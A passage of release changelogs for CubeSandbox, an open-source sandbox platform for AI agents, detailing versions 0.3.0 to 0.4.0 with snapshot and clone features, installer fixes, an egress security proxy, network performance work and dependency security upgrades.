`StdinCloser.Read` triggered a nil-pointer dereference at stdin EOF, silently aborting the exec lifecycle. Fixed using `errors.Is(err, io.EOF)` for proper error-wrapping compatibility; shim logs now emit the expected paired exec lifecycle entries. * **Fixed ext4 artifact runtime file materialization for PVM templates**: `RefreshArtifactRuntimeFiles`, `validateArtifactRuntimeFilesPresent`, and `ensureArtifactRuntimeFiles` are simplified to handle only kernel files; `copyKernelFileAtomically` is renamed to `CopyFileAtomically` for reuse outside the package. ### ✨ Enhancements * **E2B-compatible default exposed port**: Default sandbox exposed port changed to **49983** to match the E2B sandbox protocol. `CubeMaster` is now the single source of truth — hardcoded defaults removed from `Cubelet` and `network-agent`. * **`cubelet`: configurable `cmdTimeout` via storage plugin TOML config**: A new optional `cmd_timeout` field replaces the hardcoded 3 s default, letting operators raise the limit for multi-GiB ext4 operations without recompiling. Default behavior is unchanged when the field is absent. * **`cubelet`: richer diagnostics on `newExt4RawByReflinkCopy` failures**: Error messages now include elapsed time, file sizes, and free space — e.g. `[step=N/4 cmd="…" elapsed=…ms target=size=… base=size=… free=…B]`. * **Deploy: sync CubeMaster custom ports from `.env`**: `cubemaster.yaml` now uses `__CUBE_SANDBOX_MYSQL_PORT__` / `__CUBE_SANDBOX_REDIS_PORT__` placeholders substituted by `install.sh`, enabling non-default MySQL/Redis ports without manual YAML edits. ### ⚙️ Engineering Improvements * **`cubecli`: removed dead `listmd` command**: The unreachable `listmd` subcommand and its 128-line implementation are deleted. ### 🤖 CI / DevOps * **Claude-powered code review and issue triage automation**: Five AI reviewer agents (code quality, performance, security, test coverage, documentation) added under `.agents/agents/`. Automated workflows handle PR review, duplicate issue detection, and issue label triage. Helper scripts `gh.sh` and `edit-issue-labels.sh` added under `scripts/`. ### 📚 Documentation * **Chinese translation of `CONTRIBUTING.md`**: `CONTRIBUTING_zh.md` added as a full Chinese translation of the contribution guide. * **Community doc PR requirements relaxed**: Both `CONTRIBUTING.md` and `CONTRIBUTING_zh.md` now allow single-language submissions; bilingual docs are optional. * **Network port allocation ranges documented**: `docs/architecture/network.md` (EN & ZH) now documents the three port-range buckets: `10000–19999` (network-agent), `20000–29999` (CubeProxy), `30000–65535` (CubeVS SNAT). * **Community docs sections added**: New bilingual troubleshooting, use-cases, and integrations sections added to VitePress; a CI workflow enforces bilingual parity. * **Domain update**: CNAME switched from `docs.cubesandbox.ai` to `cubesandbox.com`. * **Fixed `browser-sandbox` example**: Added missing `load_dotenv()` call and `python-dotenv` dependency. * **WeChat group QR code refreshed**. --- --- url: https://cubesandbox.com/changelog/v0.3.0.md --- ## 2026.06.02 Release v0.3.0 CubeSandbox 0.3.0 introduces **CubeCoW**, a Copy-on-Write snapshot engine that brings hundred-millisecond snapshot, clone, and rollback capabilities to AI Agent sandboxes. This release also adds the **AgentHub** digital assistant console (Preview), a **Web UI** for visual management, and the **Go SDK**. With 82 commits from 22 contributors, v0.3.0 is the largest release since open-sourcing. ### 🎯 Major Features #### CubeCoW: Snapshot, Clone & Rollback * **CubeCoW Copy-on-Write snapshot engine** (#360): A full-lifecycle CoW snapshot engine using reflink-based volume snapshots, providing efficient block-level snapshot operations for sandbox volume management. Create lightweight, space-efficient checkpoints at any moment. * **Soft-dirty incremental memory snapshots** (#389): Per-cycle incremental memory snapshots via soft-dirty page tracking, dramatically reducing snapshot time and storage for repeated snapshot cycles. Only dirty pages are captured after the first full snapshot. * **Snapshot restore & vsock handling** (#388): VSOCK connections are properly reset on snapshot restore, ensuring clean connection state after rollback. * **Snapshot I/O optimization** (#400): Removed unnecessary `sync_all()` calls from all snapshot write paths, significantly reducing snapshot write latency without compromising data integrity. * **Demo suite & developer guide** (#374): A complete demo suite and step-by-step guide covering snapshot, rollback, and clone workflows, with runnable examples. * **Host-mount pause snapshot restore fix**: Fixed snapshot restore for sandboxes with paused host-mount filesystems. #### AgentHub Digital Assistant Console (Preview) * **AgentHub API & UI** (#420): A complete digital assistant console built on top of CubeSandbox. Includes: * AgentHub persistence layer and assistant lifecycle management * OpenClaw setup integration for AI agent orchestration * Snapshot timeline with visual checkpoint creation and rollback * Clone sandboxes into parallel exploration environments * Template actions for reusable assistant configurations * Model settings and WeCom notification configuration * Full i18n support (English & Chinese) #### Web UI * **Management dashboard** (#299): A browser-accessible Web UI for managing sandboxes, templates, and cluster nodes. Includes a template store for browsing and deploying pre-built sandbox images. No CLI needed for common operations. ### 🛠️ SDK #### Python SDK (v0.2.1) * **Template creation API** (#365): Create sandbox templates programmatically from Python, enabling end-to-end automation without shell commands. * **envd process API migration** (#1676a0fc): Commands now run through the envd process API, improving reliability and consistency. * **Process exit edge-case handling** (#a210dfc2): Fixed edge cases in envd process lifecycle management, preventing hung commands. * **Stderr coverage & file fallback hardening** (#9e2c64ab): Improved error output capture and hardened file operation fallback paths. * **envd defaults & network policy alignment** (#418): Aligned envd service defaults and network policy configuration with the server-side defaults. #### Go SDK (New) * **Initial Go SDK release** (#5de861ac, #3b5caf29): A complete Go SDK providing typed API bindings for sandbox lifecycle management, enabling Go applications to create, manage, and destroy sandboxes natively. ### ✨ Enhancements #### Deployment * **Systemd-based one-click deployment** (#331): The one-click installer now manages all services through systemd, providing proper service supervision, automatic restart on failure, and `systemctl` integration. * **Docker Compose container lifecycle** (#386): Container lifecycle management migrated to Docker Compose, simplifying multi-container orchestration and improving restart behavior. * **Early pre-download checks** (#288): The online installer now validates network connectivity and disk space before downloading, preventing mid-installation failures. * **Health check & diagnostic scripts** (#305): New `check.sh` and `collect-logs.sh` scripts for one-click deployment health verification and log collection. * **Cgroup v2 CPU controller preflight check** (#367): The installer detects missing cgroup v2 CPU controller support and provides actionable guidance before proceeding. * **Network-agent readiness wait** (#304): The installer now waits for network-agent to be fully ready before proceeding, eliminating race conditions during initial setup. * **Docker bind-mount directory prevention** (#417): Prevent Docker from auto-creating directories at bind-mount file paths, ensuring correct mount behavior. * **Guest image optimization** (#347): Ext4 images are now shrunk after creation and the Dockerfile is optimized, reducing image size and pull time. #### Infrastructure * **Centralized schema migration** (#385): CubeMaster now uses `goose` for database schema migrations, enabling versioned, automated schema management across upgrades. * **Node resource reporting** (#382): Cubelet now reports allocated node resources (CPU, memory, disk) to CubeMaster, enabling cluster-wide resource awareness. * **Path-based sandbox routing** (#334): CubeProxy supports path-based sandbox routing and shared backend resolution, improving routing flexibility. * **Scheduler metrics** (#326, #301): Cubelet exposes scheduler metrics as Prometheus gauges on `/v1/metrics`, enabling real-time monitoring of sandbox scheduling and resource utilization. ### 🐛 Bug Fixes * **Pause/resume state convergence** (#404): Fixed pause/resume state drift on ttrpc errors and shim events, ensuring consistent sandbox lifecycle state. * **Shim readiness handshake** (#398): Fixed the shim readiness handshake by not redirecting stdout (fd 1), preventing silent initialization failures. * **Network resource leak** (#314): Resolved a network resource leak during sandbox creation that could exhaust available network interfaces over time. * **Host-mount cleanup** (#333): Host-mount directories are now properly cleaned up after sandbox destruction, preventing disk space accumulation. * **Cloud Hypervisor disk API** (#337): Fixed incorrect Cloud Hypervisor disk API endpoint usage that could cause disk operation failures. * **Template commit idempotency** (#336): Enforced requestID uniqueness and added idempotent commit reuse, eliminating duplicate template commits from retried requests. * **Config parsing** (#396): Fixed `NodeStatusUpdateFrequency` to use `tomlext.Duration` for correct TOML duration parsing. * **Input validation** (#344): Added input validation at command-execution call sites to catch invalid parameters early. * **Concurrent DNS handling** (#363): Tolerate concurrent DNS dummy link creation, preventing race-condition failures during parallel sandbox creation. * **PMEM boundary alignment** (#351): Shrunk guest images are now aligned to pmem boundary, fixing boot failures on certain configurations. * **Quickcheck readiness** (#349): Wait for quickcheck containers to be ready before proceeding, eliminating false-positive health check failures. * **Service binding security** (#269): MySQL/Redis now bind to localhost by default, and CubeProxy uses host networking for improved network security. * **Service startup ordering** (#346): `cube-proxy.service` is now ordered after `cube-sandbox-dns.service`, preventing DNS resolution failures at startup. * **Image digest handling** (#303): Stripped canonical prefix from image digests in the template center, fixing image reference mismatches. * **Paused state reporting** (#270): Fixed paused sandbox state in list responses, ensuring accurate sandbox status display. * **Build version injection** (#327): Build version info is now properly injected via ldflags for cubelet and cubemaster binaries. ### 🔒 Security * **Prometheus upgrade** (#328): Upgraded prometheus client to 0.14.0, dropping the vulnerable `protobuf` 2.28.0 dependency. * **reqwest upgrade** (#323): Upgraded reqwest to 0.12 in CubeAPI, fixing the `rustls-webpki` CVE. * **libseccomp upgrade** (#321): Upgraded libseccomp to 0.3.0, fixing GHSA-2r23-gqr7-wr4h. * **go-jose bump** (#320): Bumped `go-jose/v4` to the latest secure version. * **gRPC dependency bump** (#316): Updated gRPC dependency in CubeMaster. ### 📚 Documentation * **Changelog restructure** (#412, #416): Changelogs are now organized into per-version files with an index page for easier navigation. Fixed broken changelog links in README. * **Performance benchmark blog** (#419): Published a detailed performance benchmark post with reproducible bench scripts, covering startup latency and resource overhead metrics. * **Blog system** (#306, #340): Added a blog system with local search and maintainer guide. Published community posts including "From Serverless to Agent" and PVM deployment walkthroughs. * **Brand identity** (#329): Added official logo and favicon to the documentation site. * **Troubleshooting guides** (#313): New bilingual troubleshooting subpages for deployment and template creation issues. * **Docs cross-reference fixes** (#372): Added missing `.md` extensions to cross-file documentation references. * **Example & tutorial fixes** (#406, #407, #377): Fixed probe path in create-from-image tutorial, standardized placeholder API keys with `e2b_` prefix, and corrected clone state documentation. ### ⚙️ Engineering Improvements * **Kernel source migration** (#395): Migrated kernel source from Gitee to CNB with enhanced extraction logic. * **CI/CD hardening** (#330, #335, #338, #393): Added docs build check workflow, fixed CR workflow, enabled auto-review for external PRs, added default shell configuration and artifact retrieval optimization. * **Deprecated API removal** (#339): Removed deprecated `rand.Seed` calls across the codebase. * **Rust dependency refresh** (#9f8df42f): Bumped `crossbeam-channel` from 0.5.13 to 0.5.15 in the hypervisor crate. ### 👏 Contributors 22 contributors made this release possible: @fslongjin, @ls, @tinklone, @kami-lu, @chenggui53, @cherrycao, @Hengqi Chen, @NovaHe, @maxlong, @Yi Wang, @liciazhu, @Nemo, @Feng King, @Songqian Li, @Joohwan., @Stary, @xiongxz, @yangjie, @YangYuS8, @wangchenglong-hj, @John Eismeier, @dependabot\[bot] --- --- url: https://cubesandbox.com/changelog/v0.3.1.md --- ## 2026.06.04 Release v0.3.1 CubeSandbox 0.3.1 is a stabilization and hardening release following v0.3.0, focused on one-click installer robustness, network stability fixes, AgentHub refinements, and expanded documentation with real-world benchmark data. 14 commits from 7 contributors. ### ✨ Enhancements #### One-Click Deployment * **Custom sandbox network CIDR** (#451): Users can now specify `CUBE_SANDBOX_NETWORK_CIDR` at install time to avoid conflicts with existing host network subnets. Includes CIDR format validation, host interface/route overlap detection, and a bypass flag (`CUBE_SANDBOX_NETWORK_CIDR_SKIP_CONFLICT_CHECK`) for advanced scenarios. The chosen CIDR is persisted to `.one-click.env` after successful config patching. * **Systemd 255 ExecStart/ExecStop compatibility** (#451): Prefixed all `ExecStart`, `ExecStartPre`, `ExecStartPost`, and `ExecStop` directives with `/usr/bin/bash` to avoid `203/EXEC` errors from `systemd-executor` on OpenCloudOS 9.4+. * **glibc version preflight check** (#457): The installer now checks glibc >= 2.34 before installation to fail fast on unsupported distributions (e.g., CentOS 7, Ubuntu 20.04), where cubelet/cubecli binaries would crash at runtime. * **PVM consistency pre-check** (#456): When the `kvm_pvm` kernel module is loaded on the host, the installer verifies that `CUBE_PVM_ENABLE=1` is set. Without this check, PVM hosts would silently install the wrong guest kernel (ordinary vmlinux instead of vmlinux-pvm), causing VM template creation to fail later with obscure errors. Configurable via `ONE_CLICK_SKIP_PVM_CHECK=1`. #### AgentHub (Preview) * **Snapshot/rollback API routes** (#426): Added snapshot creation and rollback endpoints to AgentHub, enabling the digital assistant console to manage sandbox checkpoints. * **Preview button & sandbox open logic** (#426): The WebUI now includes a preview button alongside sandbox open functionality, with template store defaults corrected. * **Preview documentation** (#426): Added AgentHub preview feature guides in both English and Chinese. ### 🐛 Bug Fixes * **Network-agent: fix existing sandbox network drop on restart** (#442): When `network-agent` restarted, `restoreTap()` unconditionally tried to acquire the tap fd via `TUNSETIFF`, even when the TAP was still held by a running sandbox. With `IFF_ONE_QUEUE`, the kernel rejected the second open with `EBUSY`, the TAP was pushed into the abnormal pool, and the stale-cleanup branch removed its BPF map entry — silently dropping egress traffic. The fix skips `getTapFd` when `tap.InUse` is true and surfaces a clear error when no fd is available. * **Delay host DNS switchover until CoreDNS is ready** (#452): On first install, the host `resolv.conf` was rewritten before CoreDNS was listening, causing a DNS deadlock. The installer now waits for CoreDNS to bind its port, preserves one upstream fallback resolver, and filters reserved nameserver addresses from upstream resolution paths. #### Dev Environment * **Update default OpenCloudOS image to 9.6** (#447): The OpenCloudOS 9.4 qcow2 image at `mirrors.tencent.com` is no longer available and downloads fail. Bumped the default image URL in both `prepare_image.sh` and `run_vm.sh` to the latest 9.6-20260514.2 GenericCloud image. ### 📚 Documentation * **SA9.4XLARGE32 PVM benchmark report (EN + ZH)** (#459): Full benchmark report on Tencent Cloud SA9.4XLARGE32 (AMD EPYC 9K65, 16 vCPU, 32 GiB RAM, 200 GiB Enhanced SSD, PVM kernel), covering cold-start latency, concurrency scaling (c=1/10/20), single-host density (~743 idle sandboxes at ~27-34 MB each), snapshot creation vs concurrency & dirty-page size, create-from-snapshot, rollback, clone, and pause/resume concurrency. Both Chinese and English versions are included. * **BMI5 bare-metal benchmark data** (#450): Replaced all mock/placeholder data in the performance benchmark article (ZH + EN) with real measurements from a Tencent Cloud BMI5 bare-metal node. Refactored benchmark scripts to a single-tier CLI style for composable multi-tier sweeps, with TAP pool scaling instructions. * **v0.3.0 release blog post** (#441): Added Chinese and English blog posts announcing the v0.3.0 release (snapshot/clone/rollback, AgentHub, Web UI, Go SDK). Reordered featured posts with v0.3.0 as top weight. * **trpc-agent-go use case** (#446): Added a new use case documenting how `trpc-agent-go` leverages Cube Sandbox as a secure code execution backend, with sidebar entries in both EN and ZH documentation. * **Perf benchmark article fixes** (#440): Fixed `vmm.log` path, added template creation command to section 2.2, and moved general conventions from section 3.1 to section 4.0 in both language versions. * **Disk space requirement update** (#425): Updated minimum disk space for `/data/cubelet` from 300 GB to 50 GB, with a 200 GB recommendation for building multiple templates. * **Duplicate Quick Start links removed** (#430): Cleaned up duplicate Quick Start links in the README, leaving only the top navigation bar entry. ### 👏 Contributors 7 contributors made this release possible: @LoGin (jinlong), @ls (ls-ggg), @cherrycao, @chengjoey, @Hengqi Chen, @joeytao, @tinklone (maxlong) --- --- url: https://cubesandbox.com/changelog/v0.4.0.md --- ## 2026.06.14 Release v0.4.0 CubeSandbox 0.4.0 introduces **CubeEgress**, an OpenResty-based security proxy that brings credential injection, domain filtering, and access auditing to sandbox egress traffic. This release also delivers **container log forwarding** with a new `cubecli logs` command, a **node component version matrix** with cluster-wide visibility, **template replica compatibility checking**, a **daemonless template image build pipeline**, and significant **network performance improvements** (35% faster network P50). The builder base image has been downgraded to `ubuntu:20.04`, lowering the minimum glibc requirement from 2.34 to 2.31 for broader distribution compatibility. 58 commits from 15 contributors. ### 🎯 Major Features #### CubeEgress: Security Proxy CubeEgress is a new OpenResty-based egress gateway that sits in the sandbox outbound traffic path via TPROXY, enforcing L7 policy before requests leave the cluster. It consists of ~2,200 lines of Lua across 9 modules running on OpenResty/nginx, plus Go-side integration in CubeMaster (CA provisioning, policy push), network-agent (TPROXY iptables rules), and Cubelet (per-sandbox routing, protobuf egress rule model). * **Credential injection** (#518): Per-sandbox secrets are attached to outbound requests at the proxy layer via `EgressRule.inject` — user code inside the sandbox never handles raw credentials. The `CubeNetworkConfig` protobuf message (formerly `CubeVSContext`) now carries L7 egress rules with match conditions (SNI, host, method, path, scheme) and actions (allow/deny, audit, inject). Credential material is redacted as `***REDACTED***` in CubeMaster safe-log output (#520). * **Domain filtering** (#518): Policy-driven allow/deny lists gate which destinations a sandbox may reach, evaluated first-match-wins against the L7 request. DNS queries are permitted even when domain-based allow-out rules are set (38fe9977). * **Access auditing** (#518): Structured JSON logs of every egress request with optional body redaction via a `redactor` Lua module, enabling downstream compliance review. * **Kernel 5.4 compatibility** (38fe9977): The security proxy runs on kernel v5.4+, expanding deployment coverage. * **CubeVS fast-path hardening** (#527): SYN-only packets are now rejected in the port-mapping BPF fast path, preventing guest-initiated connection attempts from bypassing egress policy. * **TAP TX offload** (#505): TX checksum/TSO offload and `tx-tcp-mangleid-segmentation` are enabled on TAP devices so redirected packets skip GSO before reaching the guest. * **CubeEgress version reporting** (9d76195e): CubeEgress participates in the node component version matrix with build-time version metadata injection, a `/admin/v1/health` endpoint extension, release manifest entries, and cubelet-side file-based collection. New files: `CubeEgress/` (20 files — Lua modules, nginx config, Dockerfile, iptables scripts, systemd units, CA generation); `CubeMaster/pkg/service/httpservice/cube/ca_download.go`; `CubeMaster/pkg/templatecenter/cube_egress_ca/`; `CubeMaster/pkg/templatecenter/cube_egress_ca_bake.go`; DB migration `0005_cube_egress.sql`. #### Container Log Forwarding Container init-process stdout/stderr is now streamed from the agent to the shim via a dedicated vsock connection and appended to log files on the host. A new `cubecli cubebox logs` subcommand lets operators read these logs from outside the sandbox. * **Log streaming** (#535): The shim injects a `cube.container.log_forwarding=true` annotation into the OCI spec, causing the agent to create stdout/stderr pipes (1 MiB buffer, `O_NONBLOCK`) for the init process. A dedicated vsock channel carries the log stream to the shim, which appends to `/data/log/template//stdout|stderr` during template builds and to `./stdout` / `./stderr` in the bundle directory for normal sandboxes. Log forwarding is cleanly cancelled before pause/snapshot/teardown, and pipe write fds are closed on process exit so readers receive EOF (#541). Exec I/O relay (FIFO-based) is kept separate from init log forwarding. * **`cubecli cubebox logs`** (#528): New subcommand to read container stdout/stderr from `/data/cubelet/state/io.containerd.runtime.v2.task/default//stdout|stderr`. Supports `--tail N`, `--head N`, `--all`, and `--stderr` flags. Since log files live inside the cubelet mount namespace, the command re-execs itself via the existing C constructor in `pkg/cubemnt/nsenter.c` to safely enter the namespace before any Go code runs. Includes `openNoFollow()` path validation hardened against symlink-following attacks. #### Node Component Version Matrix A new version tracking infrastructure gives operators cluster-wide visibility of component versions across all nodes, with a dedicated Web UI page. * **Version collection and matrix** (#500): Cubelet collects component versions (guest-image, cube-agent, kernel, plus control-plane components from the release manifest) and reports them to CubeMaster, which maintains a version matrix in the `node_component_version` table (DB migration `0004`). The matrix groups nodes by reported version for each component, surfaces version skew, and exposes summary and detail APIs through CubeAPI. * **Standardized version injection** (#493): All Go and Rust binaries now receive version, commit, and build-time metadata via ldflags / `build.rs`. A machine-readable `release-manifest.json` is generated in one-click release bundles so every artifact is traceable to the same release. The `cubecli version` and `cubemastercli version` output formats are unified across components. * **Web UI Versions page** (#500, #481): A new `Versions.tsx` page (762 lines) with i18n support (en/zh) shows per-component version distribution across nodes. The sidebar and Settings About section now display the actual release tag (injected at build time as `__APP_VERSION__`) instead of hardcoded versions. New files: `CubeMaster/pkg/nodemeta/versionmatrix.go`; `web/src/pages/Versions.tsx`; `web/src/locales/en/versions.json`, `zh/versions.json`; DB migration `0004_node_component_version.sql`. #### Template Replica Compatibility Template replicas are now checked against node component versions, with stale/missing replicas surfaced in both the API and Web UI. * **Compatibility matrix and version binding** (#510): The template compatibility system compares each template's bound component versions (guest-image, cube-agent, kernel) against what each node currently reports. Results are stored in `template_versions` (DB migration `0006`) and exposed via `/templates/compat` (summary) and `/templates/compat/{id}` (per-template detail). Version binding management lets operators pin a template to specific component versions at creation time. * **Web UI** (#545): The template detail page now shows per-replica compatibility badges, version delta between bound and current component versions, and a stale-replica warning banner with a rebuild trigger. New components: `CompatBadge`, `CompatSection`, `CompatWarning`, `CompatNodeCard`, `VersionDeltaList`. New files: `CubeMaster/pkg/templatecenter/compat.go`; `CubeMaster/pkg/service/httpservice/cube/template_compat.go`; DB migration `0006_template_replica_compat.sql`. #### Template Image Build Pipeline Overhaul The template image build pipeline has been rearchitected to support daemonless operation via skopeo/umoci, with a 72% reduction in peak disk usage and file-level content deduplication. * **Daemonless export path** (#492, #506): When skopeo and umoci are available on the CubeMaster node, template images are pulled via `skopeo copy` into a local OCI layout and unpacked with `umoci unpack --rootless`, eliminating the Docker daemon requirement. Falls back to Docker for backward compatibility. The export strategy is chosen once at image resolution time so preparation and export stay consistent. * **Artifact management** (#506): A new job runner orchestrates the full pipeline (image export → rootfs artifact build → distribution), with redo support that can resume from the last completed phase. File-level content fingerprints (SHA256) enable artifact deduplication across builds, and artifact cleanup is managed through a structured lifecycle. Redo operations now carry the correct template ID through working requests (#544). * **Disk usage optimization** (#472): Peak disk usage during image-to-ext4 build is reduced from ~4.2× to ~1.2× image size through five complementary optimizations: 1. **Pipe-streamed export**: Docker export stdout is connected directly to `tar -xf` stdin via a 1 MiB pipe (`F_SETPIPE_SZ`), eliminating the intermediate `rootfs.tar` file. 2. **Early workDir cleanup**: The scratch workDir is removed immediately after the rootfs reaches the store directory, before ext4 creation begins. 3. **Precise ext4 sizing**: Power-of-2 alignment is replaced with a triple-overhead model (fixed 256 MiB + 10% of data + 1 KiB per file), aligned to 256 MiB boundaries. 4. **Direct-to-storeDir export**: On local fast filesystems (detected via statfs magic), the rootfs is exported directly into the store directory, skipping the workDir→storeDir relocate step. NFS/CIFS fall back to the relocate path to avoid cross-device copies. 5. **Disk-space pre-check**: A fail-fast statfs check on the store directory parent ensures sufficient space before the build starts, with a configurable safety margin (`CUBEMASTER_DISK_SPACE_SAFETY_MARGIN`, default 1.5×). SHA256 computation uses a 4 MiB buffer to reduce read syscalls. A loop-mount streaming ext4 build phase (gated behind `CUBEMASTER_LOOP_MOUNT_EXT4_ENABLED`, default false) is also implemented with `CAP_SYS_ADMIN` detection. * **SDK alignment** (#485): CubeAPI `POST /templates` and Python/Go SDKs now expose DNS, egress CIDRs, registry auth, command/args, network type, and node scope options, matching the full `cubemastercli template create-from-image` option set. New files: `CubeMaster/pkg/templatecenter/image/` (export, ext4, disk, command, ref, source, types, paths, util); `CubeMaster/pkg/templatecenter/artifact_build.go`, `artifact_cleanup.go`, `distribution.go`, `fingerprint.go`, `image_job_runner.go`, `job_constants.go`, `job_dto.go`. #### Network Performance * **TAP fd acquisition optimization** (#487): A three-tier `GetTapFile` strategy replaces the old single-path approach: * **Fast path**: When `state.tap.File` is already cached, return it immediately (0 syscalls). * **Hot path**: For pooled taps with a closed fd, reopen with just 2 syscalls (`open` + `TUNSETIFF`), skipping the expensive `restoreTap` flow (netlink lookup, `LinkSetUp`, `SetMTU`, TC filter attach, ARP entry). * **Recovery path**: Fall back to full `restoreTap` only when there is no in-memory state or the tap is held externally. The fdserver JSON response now includes the ifindex, allowing cubelet to skip its own `netlink.LinkByName` call — eliminating a serialization point during concurrent sandbox creation. Cubelet falls back to `LinkByName` only when ifindex is 0 (backward-compatible with older agents). A TOCTOU race between `EnsureNetwork` and `ReleaseNetwork` is fixed by replacing singleflight-style dedup with a per-sandbox `creating` guard channel registered in the same critical section as the state check. Includes a pprof debug server (`--pprof-listen` flag) and 390 lines of concurrency tests (6 functions, 64-goroutine stress test clean under `-race`). Benchmarks (BMI5, Xeon Platinum 8255C, kernel 6.6.119): Network P50 35.3→23.1ms (**35% faster**), Network P99 86.6→51.2ms (**41% faster**), Total P50 106.1→92.0ms (**13% faster**), Throughput 194.8→209.8 sandboxes/s (**8% higher**). * **BPF checksum optimization** (#469): `bpf_csum_diff()` is replaced with `bpf_{l3,l4}_csum_replace` helpers in both `from_world` and `from_cube` BPF programs. Combined with the TAP TX offload work (#505), this enables TSO/UFO/CSUM offloads to be re-enabled on virtio-net TAPs (reverting #110), and the `disableGRO()` requirement on host NICs is dropped. ### ✨ Enhancements #### Scheduling * **Configurable overcommit and Redis allocation bypass** (#525): Two new scheduler configuration knobs: `overcommit_ratio` (default CPU=3, Mem=2) with optional per-instance-type overrides via `overcommit_ratio_conf`, and `ignore_redis_allocation` (default false) to treat Redis-recorded allocations as zero. Applied consistently across filter and score plugins, with non-positive ratios clamped back to defaults. Physical load guards (CPU utilization ceiling, real-time free memory) are intentionally preserved. #### Affinity * **Custom node affinity selector** (#504, #467): The `com.nodeaffinity.selector` annotation now accepts arbitrary `NodeSelectorRequirements` (In, NotIn, Exists, DoesNotExist, Gt, Lt) as a JSON array of `{key, operator, values}`. Node labels from registration are carried through `Node.NodeLabels`, merged into `Labels()` with an `atomic.Pointer` cache and `InvalidateLabelsCache()` for mutation safety. DoS hardening: max annotation size 4 KB, 10 selectors per request, 50 values per In/NotIn. Configurable allowed keys default to zone, cluster-id, cpu-type, memory-size, cpu-cores, instance-type. 872 lines of tests covering 47 cases. #### Template Management * **tpl- prefix enforcement** (#474): Template IDs are now always auto-generated with a `tpl-` prefix across all creation paths (API, CLI, Web UI, sandbox commit). User-specified IDs are accepted for backward compatibility but silently ignored — the server always returns an auto-generated `tpl-` prefixed ID as the authoritative template identifier. Validation rejects bare `tpl-` / `snap-` prefixes and non-conforming annotation prefixes. * **Builder image downgrade to ubuntu:20.04** (#468): The builder base image is changed from `ubuntu:22.04` to `ubuntu:20.04`, lowering the minimum glibc requirement from 2.34 to 2.31. Affects `Dockerfile.builder`, one-click installer preflight checks, CI workflows, and documentation. #### Web UI * **Template policy display** (#486): The template detail page now shows environment variables, network type, internet access, DNS servers, allow-out rules, and deny-out rules parsed from `createRequest`. A dedicated "Network Policy" section includes per-rule copy buttons. A `BoolBadge` component is extracted as a shared UI primitive. * **CubeAPI container image** (#513): A container build for the cube-api service produces a self-contained runtime image suitable for one-click and orchestrated deployments, with a lean build context. #### SDK * **Python SDK v0.3.0** (#521): Bump to 0.3.0 with new APIs for security proxy configuration. #### PVM * **Kernel LOCALVERSION rename** (#511, #534): The PVM host and guest kernel `LOCALVERSION` is renamed to a clean descriptive scheme so the distribution base and host/guest role are obvious from `uname -r`. Deployment configs, user-facing guides, and blog references are updated to match. ### 🐛 Bug Fixes These fixes address issues present in v0.3.1: * **Virtiofs config skipped when shareDirs is empty** (#533): Cubelet no longer generates virtiofs configuration or annotations when no shared directories are specified, preventing broken config generation. * **DNS server IP automatically added to AllowOut** (#526): When any DNS rule is configured, the DNS server IP is now added to `AllowOut` to ensure DNS resolution works through egress policy. Includes regression test coverage. * **Cubelog nil trace panic** (#512): Background workers and detached job contexts that run without a request trace no longer panic on nil dereference — trace handling is now tolerant of a missing trace. * **Storage symlink resolution in host-dir cleanup** (#530): `cleanupHostDirVolumes` now resolves base-path symlinks when walking sandbox directories, so bind mounts under paths like `/data → /mnt/ssd/data` are correctly identified and unmounted instead of leaking or having their backing directories wiped. * **Network plugin bootstrap warnings** (#491): Cubelet startup no longer logs valid network configuration keys as "unknown TOML fields" — the existing config struct is now reused when reading bootstrap overrides. * **DNS not auto-allowed when internet is disabled** (#490): When `AllowInternetAccess=false`, resolved DNS servers are no longer appended to `allow_out`, so the deny-all outbound policy consistently blocks DNS resolution. Fixes #408. * **Ripgrep dependency removed from one-click runtime** (#496): The one-click install and startup path no longer requires or auto-installs `ripgrep`. Shell checks now use grep-based helpers. * **Virtiofs migration\_on\_error set to GuestError** (#482): The native virtiofs server now uses `MigrationOnError::GuestError` instead of `Abort`. Per-inode failures during snapshot restore surface as guest FS errors (ENOENT/EIO) on the affected paths rather than tearing down the entire live migration. * **VMM virtio-fs queue fault tolerance** (#464): `process_queue_serial()` no longer panics on malformed descriptors. Failures are recovered by writing an EIO FUSE error reply to the guest and continuing to serve the queue. A new `device_memory` view is added for device-backed memory regions (virtio-pmem, virtio-fs DAX, ivshmem/zshm BARs). * **Cgroup v2 manager creation** (#488): The agent now uses the cgroup v2 creation path from `cgroups-rs` and attaches container processes through `cgroup.procs`, avoiding v1 controller name failures in unified cgroup mode. Process ID collection for cleanup and signals also reads from `cgroup.procs`. * **Node health expiry on stale heartbeat** (#455): Node health is now derived from heartbeat freshness — stale heartbeats are correctly reported as unhealthy in nodemeta reads, localcache-backed reads, and scheduler prefilter. A shared helper centralizes the timeout rule across all three paths. * **SELinux context restore after one-click install** (#471): File contexts under the install prefix are now restored before starting systemd services, fixing one-click installs on SELinux Enforcing hosts. Fixes #465. * **Glibc preflight pipefail race** (#473): The `ldd --version` output is now fully captured before parsing, preventing strict-mode preflight checks from exiting on an expected SIGPIPE. * **Python SDK streaming request body read** (377a99dc): Request bodies in `IPOverrideTransport` are now buffered before copying, so multipart uploads no longer fail with `RequestNotRead`. * **CLI help text corrections** (#478): Fixed incorrect command names (e.g., `cuebcli` → `cubecli`), spelling mistakes, outdated deprecation hints, and truncated descriptions in both `cubecli` and `cubemastercli`. ### 📚 Documentation * **DEB install instructions** (#532): Added apt (DEB) install instructions alongside existing yum (RPM) steps for Python SDK setup in the Quick Start guide. * **Benchmark blog env var fixes** (#497): Fixed benchmark setup examples that mixed environment variables from different client stacks — E2B variables for `e2b_code_interpreter` examples, `CUBE_API_URL` + CubeProxy settings for CubeSandbox SDK examples. * **CNCF Landscape badge** (#477): Added CNCF Landscape badge and footer note to README in both English and Chinese. * **Template ID documentation cleanup** (#476): Removed all `--template-id` flags from `create-from-image` documentation and examples since template IDs are now auto-generated with `tpl-` prefix. * **Install guide links in benchmark posts** (#475): Added installation guide callouts to the §2.1 Hardware section of all four benchmark blog posts (EN + ZH, bare-metal + PVM). * **Troubleshooting links** (#466): Added GitHub issue #311 troubleshooting URL to XFS filesystem check error messages in `install.sh`, `online-install.sh`, and `check-deps.sh`. Updated install docs to use direct links to the Releases page. * **CODEOWNERS** (#522): Added CubeEgress maintainer entry. ### ⚙️ Engineering Improvements * **Build system reorganization** (#529): Per-target `.PHONY` declarations replace the single bulk list. A new `clean-rust-target-dirs` target removes `target/` under each top-level Rust workspace. The `all` target is driven from a shared `BINARIES` list. * **Format check CI** (#524): `fmt` targets are added to all component Makefiles (Go and Rust), with a new `.github/workflows/fmt-check.yml` 